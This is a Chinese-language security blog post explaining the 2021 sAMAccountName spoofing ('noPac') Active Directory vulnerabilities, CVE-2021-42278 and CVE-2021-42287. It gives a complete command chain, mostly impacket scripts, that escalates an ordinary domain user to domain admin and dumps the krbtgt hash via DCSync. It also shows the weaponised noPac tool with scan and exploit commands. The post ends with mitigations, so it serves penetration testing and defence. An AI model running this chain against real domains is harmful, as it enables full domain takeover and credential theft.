目录

sAMAccountName spoofing

SAM-AccountName spoofing

1 背景

2021 年 11 月,有两个漏洞 CVE-2021-42278 & CVE-2021-42287 被露,两个漏洞组合可导致域内普通用户权限提升至域管权限。

1.1 CVE-2021-42278

windows 域内的机器账户的名字以 $ 结尾,但 DC 没有对域内机器账户名做验证。与 CVE-2021-42287 结合使用,它允许攻击者冒充域控制器账户。

1.2 CVE-2021-42287

在 kerberos 认证过程中,用户要访问某个服务,在获取服务票据 ST 之前,需要申请 TGT票据。该漏洞的核心为:当请求的服务票 ST 没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。

如果 A 用户获得申请了 TGT,然后删除 A 用户或重命名 A 用户。并使用该 TGT 进行 S4U2self 以其它用户身份请求一张 ST 给他自己,导致 KDC 在 Account Database 中寻找 A$。如果帐户 A$ 存在,那么 A 就会像其他用户一样为 A$获得一张服务票据。

因此,机器账户改名为和 DC 机器账户一样,然后申请 TGT,接着把用户名修改掉,使得 DC 在 TGS_REP 时候找不到该账户,这时会用自己的密钥加密服务票据 ST,然后就是得到了一个高权限 ST。

1.3 sAMAccountName

根据微软官方文档中的定义:

SAM-Account-Name 用于支持运行早期版本操作系统的客户端和服务器的登录名,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。实际上是以「Domain\LogonName 」形式命名。

其 Ldap-Display-Name 为:sAMAccountName。故该组合漏洞又被称为:sAMAccountName spoofing

此处还有一种用户命名属性,是目前域环境中常用的一种:UPN

userPrincipalName 属性是用户的登录名。 属性由 UPN (用户主体) ,这是用户最常见的登录 Windows 名称。 用户通常使用其 UPN 登录到域。

UPN 由 UPN 前缀(用户帐户名)和 UPN 后缀(DNS 域名)组成。 前缀与后缀以 @ 符号相联接。UPN 必须在目录林中的所有安全主体对象之间保持唯一。 这意味着可以重复使用 UPN 的前缀,只是不能使用相同的后缀。

例如:

  • 域名:pentest.lab
  • SAM-Account-Name:win11user
  • NetBIOS 登录名:pentest.lab\win11user
  • UserPrincipalName:win11user@pentest.lab

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112171553067.png-water_print

1.4 SAM-Account-Type

SAM-Account-Type 包含了域内帐户类型对象的信息。可以枚举帐户类型的列表,也可以使用显示信息 API 来创建列表。由于计算机、普通用户帐户和信任帐户还可以枚举为用户对象。

2 漏洞复现

前提:需要对属性 sAMAccountNameservicePrincipalName 具有写权限。由于默认情况下 MAQ 特性,域内普通用户可以创建 10 个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性。

  • 首先创建一个机器账户,使用 impacket 的 addcomputer.py 或是 powermad
技巧
addcomputer.py 是利用 SAMR协议 创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除。
  • 然后清除机器账户的 servicePrincipalName 属性
  • 将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带 $
  • 为机器账户请求 TGT
  • 将机器账户的 sAMAccountName 更改为其他名字,不与步骤 3 重复即可
  • 通过 S4U2self 协议向 DC 请求 ST
  • DCsync

步骤如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

# 1. clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

# 2. rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

# 6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

武器化工具地址:https://github.com/cube0x0/noPac

扫描:noPac.exe scan -domain pentest.lab -user win11user -pass P@ssword

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112122016658.png-water_print

利用:

noPac.exe scan -domain pentest.lab -user win11user -pass P@ssword /dc dc.pentest. lab /mAccount demol /mPassword pAss123! /service cifs /ptt

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112122016522.png-water_print

查看内存中的票据,发现已经存在 dc 的 cifs 服务票据:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112122017939.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112122017582.png-water_print

Dcsync:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112122018112.png-water_print

3 缓解措施

  1. 微软官方已推出补丁:KB5008602、KB5008380
  2. 通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链(但如果当前用户对域内某台机器账号拥有 GenericALLGenericWriteWriteProperty 权限仍能修改 SAMAccountName 属性),具体查询方式如下:
1
2
3
4
5
# 列出所有机器账号
Get-ADComputer -Filter * -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion -Wrap -Auto

# 权限查询
Get-DomainObjectAcl ControlledComputer -ResolveGUIDs |?{$_.securityidentifier -eq (get-domainuser win11user).objectsid}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112171648030.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202112171648542.png-water_print